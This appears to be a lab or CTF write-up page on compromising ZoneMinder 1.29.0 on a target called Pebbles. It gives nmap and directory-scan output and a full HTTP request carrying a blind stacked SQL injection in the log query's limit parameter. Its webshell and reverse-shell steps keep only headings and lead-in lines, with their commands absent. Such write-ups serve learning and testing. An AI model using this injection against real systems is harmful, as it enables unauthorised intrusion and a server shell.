For the complete documentation index, see llms.txt. This page is also available as Markdown.

ZoneMinder

ZoneMinder 1.29.0 exposed under /zm/ can have a blind stacked SQL injection in the log query path. On the observed Pebbles target, the SQLi wrote a PHP webshell with INTO OUTFILE, which led to a www-data shell

Discovery

Nmap and web indicators:

80/tcp   open  http  Apache httpd 2.4.18 ((Ubuntu))
3305/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))

Feroxbuster found ZoneMinder paths:

http://TARGET/zm/
http://TARGET:8080/zm/

The console showed:

ZoneMinder Console - Running - default v1.29.0

Blind Stacked SQLi

The log query request accepted stacked SQL in the limit parameter:

POST /zm/index.php HTTP/1.1
Host: TARGET
X-Request: JSON
X-Requested-With: XMLHttpRequest
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zmSkin=classic; zmCSS=classic; ZMSESSID=SESSION

view=request&request=log&task=query&limit=100;%28SELECT%20%2A%20FROM%20%28SELECT%28SLEEP%285%29%29%29OQkj%29#&minTime=1466674406.084434

Useful response data leaked the ZoneMinder webroot path:

Write a PHP Webshell

Use the stacked SQLi to write a shell to Apache's webroot:

Trigger the shell on the Apache service serving /var/www/html:

If command output is easier with shell_exec, write a second shell:

URL-encoded payload:

Trigger:

Reverse Shell

Host a shell script and pull it through the webshell:

Catch the shell:

Successful context:

Last updated